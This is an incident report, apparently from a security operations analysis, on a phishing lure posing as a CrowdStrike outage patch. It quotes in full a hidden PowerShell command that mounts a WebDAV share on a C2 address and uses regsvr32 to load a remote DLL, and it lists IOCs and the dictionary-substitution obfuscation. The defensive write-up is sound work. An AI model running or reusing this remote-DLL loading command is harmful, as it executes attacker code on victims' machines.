🔍 What

PowerShell was executed with -windowstyle hidden on host Wilma. Investigation traced the origin to a phishing email impersonating a CrowdStrike outage patch notification. The email delivered crowdstrike.zip, which contained crowdstrike.bat — a batch script obfuscated using dictionary substitution (e.g., poisonlizard=set g), with malicious commands embedded within junk words.

The script launched wordpad.exe as a decoy process, then executed:

powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1527830137078.dll

This attempted to mount a WebDAV share over port 8888 and register a remote DLL using regsvr32. No network logs confirmed a successful outbound connection to the C2.

📅 When

Jul 24, 2024, 07:37 AM

📍 Where

• Host: Wilma
• IP: 172.16.17.98
• Current Directory: C:\Windows\system32\
• Parent Process: C:\Windows\System32\cmd.exe

👤 Who

• Phishing sender: support[@]crowdstrikeoutage[.]com
• C2 IP: 45.9.74.36 (port 8888, WebDAV)
• Malicious DLL: 1527830137078.dll

❓ Why

The threat actor exploited widespread awareness of the CrowdStrike outage to craft a convincing lure, delivering a payload that used dictionary-substitution obfuscation to evade detection. The final stage leveraged regsvr32 — a signed Windows binary — to load a remote DLL, a classic Living Off the Land technique.

🧩 MITRE ATT&CK

🔎 IOCs

📊 Analysis Reports

• VirusTotal - File Hash
• Triage - Behavioral Analysis
• AbuseIPDB - 45.9.74.36